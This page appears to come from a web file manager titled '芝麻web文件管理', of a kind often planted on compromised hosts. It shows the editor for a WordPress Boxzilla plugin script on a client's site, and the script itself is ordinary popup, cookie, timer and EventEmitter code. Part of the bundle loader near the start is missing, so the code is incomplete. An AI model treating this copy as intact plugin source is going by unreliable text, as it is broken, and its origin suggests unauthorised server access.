芝麻web文件管理V1.00
编辑当前文件:/home/prismawe/clients/_asap-ingenierie.fr/wp-content/plugins/boxzilla/assets/js/script.js
(function () { var require = undefined; var module = undefined; var exports = undefined; var define = undefined; (function(){function r(e,n,t){function o(i,f){if(!n[i]){if(!e[i]){var c="function"==typeof require&&require;if(!f&&c)return c(i,!0);if(u)return u(i,!0);var a=new Error("Cannot find module '"+i+"'");throw a.code="MODULE_NOT_FOUND",a}var p=n[i]={exports:{}};e[i][0].call(p.exports,function(r){var n=e[i][1][r];return o(n||r)},p,p.exports,r,e,n,t)}return n[i].exports}for(var u="function"==typeof require&&require,i=0;i
-1; if (isLoggedIn && options.testMode) { console.log('Boxzilla: Test mode is enabled. Please disable test mode if you\'re done testing.'); } // init boxzilla Boxzilla.init(); // on window.load, create DOM elements for boxes window.addEventListener('load', createBoxesFromConfig); })(); },{"boxzilla":4}],2:[function(require,module,exports){ "use strict"; var duration = 320; function css(element, styles) { for (var property in styles) { element.style[property] = styles[property]; } } function initObjectProperties(properties, value) { var newObject = {}; for (var i = 0; i < properties.length; i++) { newObject[properties[i]] = value; } return newObject; } function copyObjectProperties(properties, object) { var newObject = {}; for (var i = 0; i < properties.length; i++) { newObject[properties[i]] = object[properties[i]]; } return newObject; } /** * Checks if the given element is currently being animated. * * @param element * @returns {boolean} */ function animated(element) { return !!element.getAttribute('data-animated'); } /** * Toggles the element using the given animation. * * @param element * @param animation Either "fade" or "slide" */ function toggle(element, animation, callbackFn) { var nowVisible = element.style.display != 'none' || element.offsetLeft > 0; // create clone for reference var clone = element.cloneNode(true); var cleanup = function cleanup() { element.removeAttribute('data-animated'); element.setAttribute('style', clone.getAttribute('style')); element.style.display = nowVisible ? 'none' : ''; if (callbackFn) { callbackFn(); } }; // store attribute so everyone knows we're animating this element element.setAttribute('data-animated', "true"); // toggle element visiblity right away if we're making something visible if (!nowVisible) { element.style.display = ''; } var hiddenStyles, visibleStyles; // animate properties if (animation === 'slide') { hiddenStyles = initObjectProperties(["height", "borderTopWidth", "borderBottomWidth", "paddingTop", "paddingBottom"], 0); visibleStyles = {}; if (!nowVisible) { var computedStyles = window.getComputedStyle(element); visibleStyles = copyObjectProperties(["height", "borderTopWidth", "borderBottomWidth", "paddingTop", "paddingBottom"], computedStyles); // in some browsers, getComputedStyle returns "auto" value. this falls back to getBoundingClientRect() in those browsers since we need an actual height. if (!isFinite(visibleStyles.height)) { var clientRect = element.getBoundingClientRect(); visibleStyles.height = clientRect.height; } css(element, hiddenStyles); } // don't show a scrollbar during animation element.style.overflowY = 'hidden'; animate(element, nowVisible ? hiddenStyles : visibleStyles, cleanup); } else { hiddenStyles = { opacity: 0 }; visibleStyles = { opacity: 1 }; if (!nowVisible) { css(element, hiddenStyles); } animate(element, nowVisible ? hiddenStyles : visibleStyles, cleanup); } } function animate(element, targetStyles, fn) { var last = +new Date(); var initialStyles = window.getComputedStyle(element); var currentStyles = {}; var propSteps = {}; for (var property in targetStyles) { // make sure we have an object filled with floats targetStyles[property] = parseFloat(targetStyles[property]); // calculate step size & current value var to = targetStyles[property]; var current = parseFloat(initialStyles[property]); // is there something to do? if (current == to) { delete targetStyles[property]; continue; } propSteps[property] = (to - current) / duration; // points per second currentStyles[property] = current; } var tick = function tick() { var now = +new Date(); var timeSinceLastTick = now - last; var done = true; var step, to, increment, newValue; for (var property in targetStyles) { step = propSteps[property]; to = targetStyles[property]; increment = step * timeSinceLastTick; newValue = currentStyles[property] + increment; if (step > 0 && newValue >= to || step < 0 && newValue <= to) { newValue = to; } else { done = false; } // store new value currentStyles[property] = newValue; var suffix = property !== "opacity" ? "px" : ""; element.style[property] = newValue + suffix; } last = +new Date(); // keep going until we're done for all props if (!done) { window.requestAnimationFrame && requestAnimationFrame(tick) || setTimeout(tick, 32); } else { // call callback fn && fn(); } }; tick(); } module.exports = { 'toggle': toggle, 'animate': animate, 'animated': animated }; },{}],3:[function(require,module,exports){ 'use strict'; var defaults = { 'animation': 'fade', 'rehide': false, 'content': '', 'cookie': null, 'icon': '×', 'screenWidthCondition': null, 'position': 'center', 'testMode': false, 'trigger': false, 'closable': true }, Boxzilla, Animator = require('./animator.js'); /** * Merge 2 objects, values of the latter overwriting the former. * * @param obj1 * @param obj2 * @returns {*} */ function merge(obj1, obj2) { var obj3 = {}; for (var attrname in obj1) { obj3[attrname] = obj1[attrname]; } for (var attrname in obj2) { obj3[attrname] = obj2[attrname]; } return obj3; } /** * Get the real height of entire document. * @returns {number} */ function getDocumentHeight() { var body = document.body, html = document.documentElement; var height = Math.max(body.scrollHeight, body.offsetHeight, html.clientHeight, html.scrollHeight, html.offsetHeight); return height; } // Box Object var Box = function Box(id, config) { this.id = id; // store config values this.config = merge(defaults, config); // store ref to overlay this.overlay = document.getElementById('boxzilla-overlay'); // state this.visible = false; this.dismissed = false; this.triggered = false; this.triggerHeight = this.calculateTriggerHeight(); this.cookieSet = this.isCookieSet(); this.element = null; this.contentElement = null; this.closeIcon = null; // create dom elements for this box this.dom(); // further initialise the box this.events(); }; // initialise the box Box.prototype.events = function () { var box = this; // attach event to "close" icon inside box if (this.closeIcon) { this.closeIcon.addEventListener('click', function (e) { e.preventDefault(); box.dismiss(); }); } this.element.addEventListener('click', function (e) { if (e.target.tagName === 'A') { Boxzilla.trigger('box.interactions.link', [box, e.target]); } }, false); this.element.addEventListener('submit', function (e) { box.setCookie(); Boxzilla.trigger('box.interactions.form', [box, e.target]); }, false); }; // generate dom elements for this box Box.prototype.dom = function () { var wrapper = document.createElement('div'); wrapper.className = 'boxzilla-container boxzilla-' + this.config.position + '-container'; var box = document.createElement('div'); box.setAttribute('id', 'boxzilla-' + this.id); box.className = 'boxzilla boxzilla-' + this.id + ' boxzilla-' + this.config.position; box.style.display = 'none'; wrapper.appendChild(box); var content; if (typeof this.config.content === "string") { content = document.createElement('div'); content.innerHTML = this.config.content; } else { content = this.config.content; // make sure element is visible content.style.display = ''; } content.className = 'boxzilla-content'; box.appendChild(content); if (this.config.closable && this.config.icon) { var closeIcon = document.createElement('span'); closeIcon.className = "boxzilla-close-icon"; closeIcon.innerHTML = this.config.icon; box.appendChild(closeIcon); this.closeIcon = closeIcon; } document.body.appendChild(wrapper); this.contentElement = content; this.element = box; }; // set (calculate) custom box styling depending on box options Box.prototype.setCustomBoxStyling = function () { // reset element to its initial state var origDisplay = this.element.style.display; this.element.style.display = ''; this.element.style.overflowY = 'auto'; this.element.style.maxHeight = 'none'; // get new dimensions var windowHeight = window.innerHeight; var boxHeight = this.element.clientHeight; // add scrollbar to box and limit height if (boxHeight > windowHeight) { this.element.style.maxHeight = windowHeight + "px"; this.element.style.overflowY = 'scroll'; } // set new top margin for boxes which are centered if (this.config.position === 'center') { var newTopMargin = (windowHeight - boxHeight) / 2; newTopMargin = newTopMargin >= 0 ? newTopMargin : 0; this.element.style.marginTop = newTopMargin + "px"; } this.element.style.display = origDisplay; }; // toggle visibility of the box Box.prototype.toggle = function (show, animate) { show = typeof show === "undefined" ? !this.visible : show; animate = typeof animate === "undefined" ? true : animate; // is box already at desired visibility? if (show === this.visible) { return false; } // is box being animated? if (Animator.animated(this.element)) { return false; } // if box should be hidden but is not closable, bail. if (!show && !this.config.closable) { return false; } // set new visibility status this.visible = show; // calculate new styling rules this.setCustomBoxStyling(); // trigger event Boxzilla.trigger('box.' + (show ? 'show' : 'hide'), [this]); // show or hide box using selected animation if (this.config.position === 'center') { this.overlay.classList.toggle('boxzilla-' + this.id + '-overlay'); if (animate) { Animator.toggle(this.overlay, "fade"); } else { this.overlay.style.display = show ? '' : 'none'; } } if (animate) { Animator.toggle(this.element, this.config.animation, function () { if (this.visible) { return; } this.contentElement.innerHTML = this.contentElement.innerHTML; }.bind(this)); } else { this.element.style.display = show ? '' : 'none'; } return true; }; // show the box Box.prototype.show = function (animate) { return this.toggle(true, animate); }; // hide the box Box.prototype.hide = function (animate) { return this.toggle(false, animate); }; // calculate trigger height Box.prototype.calculateTriggerHeight = function () { var triggerHeight = 0; if (this.config.trigger) { if (this.config.trigger.method === 'element') { var triggerElement = document.body.querySelector(this.config.trigger.value); if (triggerElement) { var offset = triggerElement.getBoundingClientRect(); triggerHeight = offset.top; } } else if (this.config.trigger.method === 'percentage') { triggerHeight = this.config.trigger.value / 100 * getDocumentHeight(); } } return triggerHeight; }; Box.prototype.fits = function () { if (!this.config.screenWidthCondition || !this.config.screenWidthCondition.value) { return true; } switch (this.config.screenWidthCondition.condition) { case "larger": return window.innerWidth > this.config.screenWidthCondition.value; case "smaller": return window.innerWidth < this.config.screenWidthCondition.value; } // meh.. condition should be "smaller" or "larger", just return true. return true; }; Box.prototype.onResize = function () { this.triggerHeight = this.calculateTriggerHeight(); this.setCustomBoxStyling(); }; // is this box enabled? Box.prototype.mayAutoShow = function () { if (this.dismissed) { return false; } // check if box fits on given minimum screen width if (!this.fits()) { return false; } // if trigger empty or error in calculating triggerHeight, return false if (!this.config.trigger) { return false; } // rely on cookie value (show if not set, don't show if set) return !this.cookieSet; }; Box.prototype.mayRehide = function () { return this.config.rehide && this.triggered; }; Box.prototype.isCookieSet = function () { // always show on test mode or when no auto-trigger is configured if (this.config.testMode || !this.config.trigger) { return false; } // if either cookie is null or trigger & dismiss are both falsey, don't bother checking. if (!this.config.cookie || !this.config.cookie.triggered && !this.config.cookie.dismissed) { return false; } var cookieSet = document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + 'boxzilla_box_' + this.id + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1") === "true"; return cookieSet; }; // set cookie that disables automatically showing the box Box.prototype.setCookie = function (hours) { var expiryDate = new Date(); expiryDate.setHours(expiryDate.getHours() + hours); document.cookie = 'boxzilla_box_' + this.id + '=true; expires=' + expiryDate.toUTCString() + '; path=/'; }; Box.prototype.trigger = function () { var shown = this.show(); if (!shown) { return; } this.triggered = true; if (this.config.cookie && this.config.cookie.triggered) { this.setCookie(this.config.cookie.triggered); } }; /** * Dismisses the box and optionally sets a cookie. * * @param e The event that triggered this dismissal. * @returns {boolean} */ Box.prototype.dismiss = function (animate) { // only dismiss box if it's currently open. if (!this.visible) { return false; } // hide box element this.hide(animate); // set cookie if (this.config.cookie && this.config.cookie.dismissed) { this.setCookie(this.config.cookie.dismissed); } this.dismissed = true; Boxzilla.trigger('box.dismiss', [this]); return true; }; module.exports = function (_Boxzilla) { Boxzilla = _Boxzilla; return Box; }; },{"./animator.js":2}],4:[function(require,module,exports){ 'use strict'; var EventEmitter = require('wolfy87-eventemitter'); var Timer = require('./timer.js'); var Boxzilla = Object.create(EventEmitter.prototype); var Box = require('./box.js')(Boxzilla); var boxes = []; var overlay; var scrollElement = window; var siteTimer; var pageTimer; var pageViews; var initialised = false; var styles = require('./styles.js'); var ExitIntent = require('./triggers/exit-intent.js'); function throttle(fn, threshhold, scope) { threshhold || (threshhold = 250); var last, deferTimer; return function () { var context = scope || this; var now = +new Date(), args = arguments; if (last && now < last + threshhold) { // hold on to it clearTimeout(deferTimer); deferTimer = setTimeout(function () { last = now; fn.apply(context, args); }, threshhold); } else { last = now; fn.apply(context, args); } }; } // "keyup" listener function onKeyUp(e) { if (e.keyCode === 27) { Boxzilla.dismiss(); } } // check "pageviews" criteria for each box function checkPageViewsCriteria() { // don't bother if another box is currently open if (isAnyBoxVisible()) { return; } boxes.forEach(function (box) { if (!box.mayAutoShow()) { return; } if (box.config.trigger.method === 'pageviews' && pageViews >= box.config.trigger.value) { box.trigger(); } }); } // check time trigger criteria for each box function checkTimeCriteria() { // don't bother if another box is currently open if (isAnyBoxVisible()) { return; } boxes.forEach(function (box) { if (!box.mayAutoShow()) { return; } // check "time on site" trigger if (box.config.trigger.method === 'time_on_site' && siteTimer.time >= box.config.trigger.value) { box.trigger(); } // check "time on page" trigger if (box.config.trigger.method === 'time_on_page' && pageTimer.time >= box.config.trigger.value) { box.trigger(); } }); } // check triggerHeight criteria for all boxes function checkHeightCriteria() { var scrollY = scrollElement.hasOwnProperty('pageYOffset') ? scrollElement.pageYOffset : scrollElement.scrollTop; scrollY = scrollY + window.innerHeight * 0.9; boxes.forEach(function (box) { if (!box.mayAutoShow() || box.triggerHeight <= 0) { return; } if (scrollY > box.triggerHeight) { // don't bother if another box is currently open if (isAnyBoxVisible()) { return; } // trigger box box.trigger(); } // if box may auto-hide and scrollY is less than triggerHeight (with small margin of error), hide box if (box.mayRehide() && scrollY < box.triggerHeight - 5) { box.hide(); } }); } // recalculate heights and variables based on height function recalculateHeights() { boxes.forEach(function (box) { box.onResize(); }); } function onOverlayClick(e) { var x = e.offsetX; var y = e.offsetY; // calculate if click was less than 40px outside box to avoid closing it by accident boxes.forEach(function (box) { var rect = box.element.getBoundingClientRect(); var margin = 40; // if click was not anywhere near box, dismiss it. if (x < rect.left - margin || x > rect.right + margin || y < rect.top - margin || y > rect.bottom + margin) { box.dismiss(); } }); } function showBoxesWithExitIntentTrigger() { // do nothing if already triggered OR another box is visible. if (isAnyBoxVisible()) { return; } boxes.forEach(function (box) { if (box.mayAutoShow() && box.config.trigger.method === 'exit_intent') { box.trigger(); } }); } function isAnyBoxVisible() { return boxes.filter(function (b) { return b.visible; }).length > 0; } function onElementClick(e) { // find
element in up to 3 parent elements var el = e.target || e.srcElement; var depth = 3; for (var i = 0; i <= depth; i++) { if (!el || el.tagName === 'A') { break; } el = el.parentElement; } if (!el || el.tagName !== 'A' || !el.getAttribute('href')) { return; } var href = el.getAttribute('href').toLowerCase(); var match = href.match(/[#&]boxzilla-(\d+)/); if (match && match.length > 1) { var boxId = match[1]; Boxzilla.toggle(boxId); } } var timers = { start: function start() { try { var sessionTime = sessionStorage.getItem('boxzilla_timer'); if (sessionTime) siteTimer.time = sessionTime; } catch (e) {} siteTimer.start(); pageTimer.start(); }, stop: function stop() { sessionStorage.setItem('boxzilla_timer', siteTimer.time); siteTimer.stop(); pageTimer.stop(); } }; // initialise & add event listeners Boxzilla.init = function () { if (initialised) { return; } document.body.addEventListener('click', onElementClick, true); try { pageViews = sessionStorage.getItem('boxzilla_pageviews') || 0; } catch (e) { pageViews = 0; } siteTimer = new Timer(0); pageTimer = new Timer(0); // insert styles into DOM var styleElement = document.createElement('style'); styleElement.setAttribute("type", "text/css"); styleElement.innerHTML = styles; document.head.appendChild(styleElement); // add overlay element to dom overlay = document.createElement('div'); overlay.style.display = 'none'; overlay.id = 'boxzilla-overlay'; document.body.appendChild(overlay); // init exit intent trigger new ExitIntent(showBoxesWithExitIntentTrigger); scrollElement.addEventListener('touchstart', throttle(checkHeightCriteria), true); scrollElement.addEventListener('scroll', throttle(checkHeightCriteria), true); window.addEventListener('resize', throttle(recalculateHeights)); window.addEventListener('load', recalculateHeights); overlay.addEventListener('click', onOverlayClick); window.setInterval(checkTimeCriteria, 1000); window.setTimeout(checkPageViewsCriteria, 1000); document.addEventListener('keyup', onKeyUp); timers.start(); window.addEventListener('focus', timers.start); window.addEventListener('beforeunload', function () { timers.stop(); sessionStorage.setItem('boxzilla_pageviews', ++pageViews); }); window.addEventListener('blur', timers.stop); Boxzilla.trigger('ready'); initialised = true; // ensure this function doesn't run again }; /** * Create a new Box * * @param string id * @param object opts * * @returns Box */ Boxzilla.create = function (id, opts) { // preserve backwards compat for minimumScreenWidth option if (typeof opts.minimumScreenWidth !== "undefined") { opts.screenWidthCondition = { condition: "larger", value: opts.minimumScreenWidth }; } var box = new Box(id, opts); boxes.push(box); return box; }; Boxzilla.get = function (id) { for (var i = 0; i < boxes.length; i++) { var box = boxes[i]; if (box.id == id) { return box; } } throw new Error("No box exists with ID " + id); }; // dismiss a single box (or all by omitting id param) Boxzilla.dismiss = function (id, animate) { // if no id given, dismiss all current open boxes if (id) { Boxzilla.get(id).dismiss(animate); } else { boxes.forEach(function (box) { box.dismiss(animate); }); } }; Boxzilla.hide = function (id, animate) { if (id) { Boxzilla.get(id).hide(animate); } else { boxes.forEach(function (box) { box.hide(animate); }); } }; Boxzilla.show = function (id, animate) { if (id) { Boxzilla.get(id).show(animate); } else { boxes.forEach(function (box) { box.show(animate); }); } }; Boxzilla.toggle = function (id, animate) { if (id) { Boxzilla.get(id).toggle(animate); } else { boxes.forEach(function (box) { box.toggle(animate); }); } }; // expose each individual box. Boxzilla.boxes = boxes; // expose boxzilla object window.Boxzilla = Boxzilla; if (typeof module !== 'undefined' && module.exports) { module.exports = Boxzilla; } },{"./box.js":3,"./styles.js":5,"./timer.js":6,"./triggers/exit-intent.js":7,"wolfy87-eventemitter":8}],5:[function(require,module,exports){ "use strict"; var styles = "#boxzilla-overlay{position:fixed;background:rgba(0,0,0,.65);width:100%;height:100%;left:0;top:0;z-index:99999}.boxzilla-center-container{position:fixed;top:0;left:0;right:0;height:0;text-align:center;z-index:999999;line-height:0}.boxzilla-center-container .boxzilla{display:inline-block;text-align:left;position:relative;line-height:normal}.boxzilla{position:fixed;z-index:999999;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;background:#fff;padding:25px}.boxzilla.boxzilla-top-left{top:0;left:0}.boxzilla.boxzilla-top-right{top:0;right:0}.boxzilla.boxzilla-bottom-left{bottom:0;left:0}.boxzilla.boxzilla-bottom-right{bottom:0;right:0}.boxzilla-content>:first-child{margin-top:0;padding-top:0}.boxzilla-content>:last-child{margin-bottom:0;padding-bottom:0}.boxzilla-close-icon{position:absolute;right:0;top:0;text-align:center;padding:6px;cursor:pointer;-webkit-appearance:none;font-size:28px;font-weight:700;line-height:20px;color:#000;opacity:.5}.boxzilla-close-icon:focus,.boxzilla-close-icon:hover{opacity:.8}"; module.exports = styles; },{}],6:[function(require,module,exports){ 'use strict'; var Timer = function Timer(start) { this.time = start; this.interval = 0; }; Timer.prototype.tick = function () { this.time++; }; Timer.prototype.start = function () { if (!this.interval) { this.interval = window.setInterval(this.tick.bind(this), 1000); } }; Timer.prototype.stop = function () { if (this.interval) { window.clearInterval(this.interval); this.interval = 0; } }; module.exports = Timer; },{}],7:[function(require,module,exports){ 'use strict'; module.exports = function (callback) { var timeout = null; var touchStart = {}; function triggerCallback() { document.documentElement.removeEventListener('mouseleave', onMouseLeave); document.documentElement.removeEventListener('mouseenter', onMouseEnter); document.documentElement.removeEventListener('click', clearTimeout); window.removeEventListener('touchstart', onTouchStart); window.removeEventListener('touchend', onTouchEnd); callback(); } function clearTimeout() { if (timeout === null) { return; } window.clearTimeout(timeout); timeout = null; } function onMouseEnter(evt) { clearTimeout(); } function onMouseLeave(evt) { clearTimeout(); // did mouse leave at top of window? // add small exception space in the top-right corner if (evt.clientY <= 0 && evt.clientX < 0.80 * window.innerWidth) { timeout = window.setTimeout(triggerCallback, 400); } } function onTouchStart(evt) { clearTimeout(); touchStart = { timestamp: performance.now(), scrollY: window.scrollY, windowHeight: window.innerHeight }; } function onTouchEnd(evt) { clearTimeout(); // did address bar appear? if (window.innerHeight > touchStart.windowHeight) { return; } // allow a tiny tiny margin for error, to not fire on clicks if (window.scrollY + 20 >= touchStart.scrollY) { return; } if (performance.now() - touchStart.timestamp > 300) { return; } if (['A', 'INPUT', 'BUTTON'].indexOf(evt.target.tagName) > -1) { return; } timeout = window.setTimeout(triggerCallback, 800); } window.addEventListener('touchstart', onTouchStart); window.addEventListener('touchend', onTouchEnd); document.documentElement.addEventListener('mouseenter', onMouseEnter); document.documentElement.addEventListener('mouseleave', onMouseLeave); document.documentElement.addEventListener('click', clearTimeout); }; },{}],8:[function(require,module,exports){ /*! * EventEmitter v5.2.6 - git.io/ee * Unlicense - http://unlicense.org/ * Oliver Caldwell - https://oli.me.uk/ * @preserve */ ;(function (exports) { 'use strict'; /** * Class for managing events. * Can be extended to provide event functionality in other classes. * * @class EventEmitter Manages event registering and emitting. */ function EventEmitter() {} // Shortcuts to improve speed and size var proto = EventEmitter.prototype; var originalGlobalValue = exports.EventEmitter; /** * Finds the index of the listener for the event in its storage array. * * @param {Function[]} listeners Array of listeners to search through. * @param {Function} listener Method to look for. * @return {Number} Index of the specified listener, -1 if not found * @api private */ function indexOfListener(listeners, listener) { var i = listeners.length; while (i--) { if (listeners[i].listener === listener) { return i; } } return -1; } /** * Alias a method while keeping the context correct, to allow for overwriting of target method. * * @param {String} name The name of the target method. * @return {Function} The aliased method * @api private */ function alias(name) { return function aliasClosure() { return this[name].apply(this, arguments); }; } /** * Returns the listener array for the specified event. * Will initialise the event object and listener arrays if required. * Will return an object if you use a regex search. The object contains keys for each matched event. So /ba[rz]/ might return an object containing bar and baz. But only if you have either defined them with defineEvent or added some listeners to them. * Each property in the object response is an array of listener functions. * * @param {String|RegExp} evt Name of the event to return the listeners from. * @return {Function[]|Object} All listener functions for the event. */ proto.getListeners = function getListeners(evt) { var events = this._getEvents(); var response; var key; // Return a concatenated array of all matching events if // the selector is a regular expression. if (evt instanceof RegExp) { response = {}; for (key in events) { if (events.hasOwnProperty(key) && evt.test(key)) { response[key] = events[key]; } } } else { response = events[evt] || (events[evt] = []); } return response; }; /** * Takes a list of listener objects and flattens it into a list of listener functions. * * @param {Object[]} listeners Raw listener objects. * @return {Function[]} Just the listener functions. */ proto.flattenListeners = function flattenListeners(listeners) { var flatListeners = []; var i; for (i = 0; i < listeners.length; i += 1) { flatListeners.push(listeners[i].listener); } return flatListeners; }; /** * Fetches the requested listeners via getListeners but will always return the results inside an object. This is mainly for internal use but others may find it useful. * * @param {String|RegExp} evt Name of the event to return the listeners from. * @return {Object} All listener functions for an event in an object. */ proto.getListenersAsObject = function getListenersAsObject(evt) { var listeners = this.getListeners(evt); var response; if (listeners instanceof Array) { response = {}; response[evt] = listeners; } return response || listeners; }; function isValidListener (listener) { if (typeof listener === 'function' || listener instanceof RegExp) { return true } else if (listener && typeof listener === 'object') { return isValidListener(listener.listener) } else { return false } } /** * Adds a listener function to the specified event. * The listener will not be added if it is a duplicate. * If the listener returns true then it will be removed after it is called. * If you pass a regular expression as the event name then the listener will be added to all events that match it. * * @param {String|RegExp} evt Name of the event to attach the listener to. * @param {Function} listener Method to be called when the event is emitted. If the function returns true then it will be removed after calling. * @return {Object} Current instance of EventEmitter for chaining. */ proto.addListener = function addListener(evt, listener) { if (!isValidListener(listener)) { throw new TypeError('listener must be a function'); } var listeners = this.getListenersAsObject(evt); var listenerIsWrapped = typeof listener === 'object'; var key; for (key in listeners) { if (listeners.hasOwnProperty(key) && indexOfListener(listeners[key], listener) === -1) { listeners[key].push(listenerIsWrapped ? listener : { listener: listener, once: false }); } } return this; }; /** * Alias of addListener */ proto.on = alias('addListener'); /** * Semi-alias of addListener. It will add a listener that will be * automatically removed after its first execution. * * @param {String|RegExp} evt Name of the event to attach the listener to. * @param {Function} listener Method to be called when the event is emitted. If the function returns true then it will be removed after calling. * @return {Object} Current instance of EventEmitter for chaining. */ proto.addOnceListener = function addOnceListener(evt, listener) { return this.addListener(evt, { listener: listener, once: true }); }; /** * Alias of addOnceListener. */ proto.once = alias('addOnceListener'); /** * Defines an event name. This is required if you want to use a regex to add a listener to multiple events at once. If you don't do this then how do you expect it to know what event to add to? Should it just add to every possible match for a regex? No. That is scary and bad. * You need to tell it what event names should be matched by a regex. * * @param {String} evt Name of the event to create. * @return {Object} Current instance of EventEmitter for chaining. */ proto.defineEvent = function defineEvent(evt) { this.getListeners(evt); return this; }; /** * Uses defineEvent to define multiple events. * * @param {String[]} evts An array of event names to define. * @return {Object} Current instance of EventEmitter for chaining. */ proto.defineEvents = function defineEvents(evts) { for (var i = 0; i < evts.length; i += 1) { this.defineEvent(evts[i]); } return this; }; /** * Removes a listener function from the specified event. * When passed a regular expression as the event name, it will remove the listener from all events that match it. * * @param {String|RegExp} evt Name of the event to remove the listener from. * @param {Function} listener Method to remove from the event. * @return {Object} Current instance of EventEmitter for chaining. */ proto.removeListener = function removeListener(evt, listener) { var listeners = this.getListenersAsObject(evt); var index; var key; for (key in listeners) { if (listeners.hasOwnProperty(key)) { index = indexOfListener(listeners[key], listener); if (index !== -1) { listeners[key].splice(index, 1); } } } return this; }; /** * Alias of removeListener */ proto.off = alias('removeListener'); /** * Adds listeners in bulk using the manipulateListeners method. * If you pass an object as the first argument you can add to multiple events at once. The object should contain key value pairs of events and listeners or listener arrays. You can also pass it an event name and an array of listeners to be added. * You can also pass it a regular expression to add the array of listeners to all events that match it. * Yeah, this function does quite a bit. That's probably a bad thing. * * @param {String|Object|RegExp} evt An event name if you will pass an array of listeners next. An object if you wish to add to multiple events at once. * @param {Function[]} [listeners] An optional array of listener functions to add. * @return {Object} Current instance of EventEmitter for chaining. */ proto.addListeners = function addListeners(evt, listeners) { // Pass through to manipulateListeners return this.manipulateListeners(false, evt, listeners); }; /** * Removes listeners in bulk using the manipulateListeners method. * If you pass an object as the first argument you can remove from multiple events at once. The object should contain key value pairs of events and listeners or listener arrays. * You can also pass it an event name and an array of listeners to be removed. * You can also pass it a regular expression to remove the listeners from all events that match it. * * @param {String|Object|RegExp} evt An event name if you will pass an array of listeners next. An object if you wish to remove from multiple events at once. * @param {Function[]} [listeners] An optional array of listener functions to remove. * @return {Object} Current instance of EventEmitter for chaining. */ proto.removeListeners = function removeListeners(evt, listeners) { // Pass through to manipulateListeners return this.manipulateListeners(true, evt, listeners); }; /** * Edits listeners in bulk. The addListeners and removeListeners methods both use this to do their job. You should really use those instead, this is a little lower level. * The first argument will determine if the listeners are removed (true) or added (false). * If you pass an object as the second argument you can add/remove from multiple events at once. The object should contain key value pairs of events and listeners or listener arrays. * You can also pass it an event name and an array of listeners to be added/removed. * You can also pass it a regular expression to manipulate the listeners of all events that match it. * * @param {Boolean} remove True if you want to remove listeners, false if you want to add. * @param {String|Object|RegExp} evt An event name if you will pass an array of listeners next. An object if you wish to add/remove from multiple events at once. * @param {Function[]} [listeners] An optional array of listener functions to add/remove. * @return {Object} Current instance of EventEmitter for chaining. */ proto.manipulateListeners = function manipulateListeners(remove, evt, listeners) { var i; var value; var single = remove ? this.removeListener : this.addListener; var multiple = remove ? this.removeListeners : this.addListeners; // If evt is an object then pass each of its properties to this method if (typeof evt === 'object' && !(evt instanceof RegExp)) { for (i in evt) { if (evt.hasOwnProperty(i) && (value = evt[i])) { // Pass the single listener straight through to the singular method if (typeof value === 'function') { single.call(this, i, value); } else { // Otherwise pass back to the multiple function multiple.call(this, i, value); } } } } else { // So evt must be a string // And listeners must be an array of listeners // Loop over it and pass each one to the multiple method i = listeners.length; while (i--) { single.call(this, evt, listeners[i]); } } return this; }; /** * Removes all listeners from a specified event. * If you do not specify an event then all listeners will be removed. * That means every event will be emptied. * You can also pass a regex to remove all events that match it. * * @param {String|RegExp} [evt] Optional name of the event to remove all listeners for. Will remove from every event if not passed. * @return {Object} Current instance of EventEmitter for chaining. */ proto.removeEvent = function removeEvent(evt) { var type = typeof evt; var events = this._getEvents(); var key; // Remove different things depending on the state of evt if (type === 'string') { // Remove all listeners for the specified event delete events[evt]; } else if (evt instanceof RegExp) { // Remove all events matching the regex. for (key in events) { if (events.hasOwnProperty(key) && evt.test(key)) { delete events[key]; } } } else { // Remove all listeners in all events delete this._events; } return this; }; /** * Alias of removeEvent. * * Added to mirror the node API. */ proto.removeAllListeners = alias('removeEvent'); /** * Emits an event of your choice. * When emitted, every listener attached to that event will be executed. * If you pass the optional argument array then those arguments will be passed to every listener upon execution. * Because it uses `apply`, your array of arguments will be passed as if you wrote them out separately. * So they will not arrive within the array on the other side, they will be separate. * You can also pass a regular expression to emit to all events that match it. * * @param {String|RegExp} evt Name of the event to emit and execute listeners for. * @param {Array} [args] Optional array of arguments to be passed to each listener. * @return {Object} Current instance of EventEmitter for chaining. */ proto.emitEvent = function emitEvent(evt, args) { var listenersMap = this.getListenersAsObject(evt); var listeners; var listener; var i; var key; var response; for (key in listenersMap) { if (listenersMap.hasOwnProperty(key)) { listeners = listenersMap[key].slice(0); for (i = 0; i < listeners.length; i++) { // If the listener returns true then it shall be removed from the event // The function is executed either with a basic call or an apply if there is an args array listener = listeners[i]; if (listener.once === true) { this.removeListener(evt, listener.listener); } response = listener.listener.apply(this, args || []); if (response === this._getOnceReturnValue()) { this.removeListener(evt, listener.listener); } } } } return this; }; /** * Alias of emitEvent */ proto.trigger = alias('emitEvent'); /** * Subtly different from emitEvent in that it will pass its arguments on to the listeners, as opposed to taking a single array of arguments to pass on. * As with emitEvent, you can pass a regex in place of the event name to emit to all events that match it. * * @param {String|RegExp} evt Name of the event to emit and execute listeners for. * @param {...*} Optional additional arguments to be passed to each listener. * @return {Object} Current instance of EventEmitter for chaining. */ proto.emit = function emit(evt) { var args = Array.prototype.slice.call(arguments, 1); return this.emitEvent(evt, args); }; /** * Sets the current value to check against when executing listeners. If a * listeners return value matches the one set here then it will be removed * after execution. This value defaults to true. * * @param {*} value The new value to check for when executing listeners. * @return {Object} Current instance of EventEmitter for chaining. */ proto.setOnceReturnValue = function setOnceReturnValue(value) { this._onceReturnValue = value; return this; }; /** * Fetches the current value to check against when executing listeners. If * the listeners return value matches this one then it should be removed * automatically. It will return true by default. * * @return {*|Boolean} The current value to check for or the default, true. * @api private */ proto._getOnceReturnValue = function _getOnceReturnValue() { if (this.hasOwnProperty('_onceReturnValue')) { return this._onceReturnValue; } else { return true; } }; /** * Fetches the events object and creates one if required. * * @return {Object} The events storage object. * @api private */ proto._getEvents = function _getEvents() { return this._events || (this._events = {}); }; /** * Reverts the global {@link EventEmitter} to its previous value and returns a reference to this version. * * @return {Function} Non conflicting EventEmitter class. */ EventEmitter.noConflict = function noConflict() { exports.EventEmitter = originalGlobalValue; return EventEmitter; }; // Expose the class either via AMD, CommonJS or the global object if (typeof define === 'function' && define.amd) { define(function () { return EventEmitter; }); } else if (typeof module === 'object' && module.exports){ module.exports = EventEmitter; } else { exports.EventEmitter = EventEmitter; } }(typeof window !== 'undefined' ? window : this || {})); 